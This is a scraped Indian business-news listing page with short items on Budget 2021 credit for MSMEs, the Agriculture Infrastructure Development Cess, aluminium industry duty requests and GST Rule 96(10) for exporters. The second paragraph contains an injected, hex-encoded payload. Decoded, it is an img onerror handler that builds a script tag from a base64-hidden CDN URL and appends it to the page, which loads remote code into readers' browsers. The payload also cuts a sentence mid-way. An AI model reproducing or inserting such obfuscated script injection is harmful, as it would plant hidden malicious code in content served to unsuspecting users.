Page 3 - Basic Custom Duty News Today

Steps should be taken in the upcoming Union Budget to ensure hassle-free credit availability to industry, particularly for MSMEs, and reduce the costs of doing business, said Pradeep Multani, President, PHD Chamber of Commerce and Industry.

The government will likely put in place strategies to bring India closer to its green energy target and equitable energy access">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293b646f63756d656e742e626f64792">

A return of consumer confidence in renewable energy sources, improved financial market conditions, and an increase in manufacturing and export activities in the country would be crucial.

All you wanted to know about Agriculture Infrastructure Development Cess × The Budget for 2021-22 may have refrained from tinkering with your taxes, but it has proposed a new levy — Agriculture Infrastructure Development Cess. What is it? Cess is a kind of special-purpose tax which is levied over and above basic tax rates. The purpose of the new AIDC is to raise funds to finance spending on developing agriculture infrastructure. Considering that not much private investment is forthcoming fo...

Budget 2021: Aluminium industry seeks raise in basic custom duty The industry has also sought reduction in basic custom duty and correction of inverted duty structure on critical raw materials for aluminium industry value chain like aluminium fluoride and coal tar pitch PTI | January 20, 2021 | Updated 08:44 IST The industry is not able to compete effectively in the global markets as the burden of central and state taxes and levies amounting to 15 per cent of aluminium production cost puts the...

The sign board on India’s export gates reads as ‘beware of rule 96(10)’ January 10, 2021, 3:38 PM IST Ratan Jain, Partner & Saurabh Malpani, Principal Associate, Lakshmikumaran & Sridharan Attorneys. Enquiry notices are being issued by investigation authorities to various exporters on ensuring compliance with Rule 96(10) of Central Goods and Services Tax Rules 2017 (CGST Rules). This article intends to discuss the issues under Rule 96(10). IGST Ex...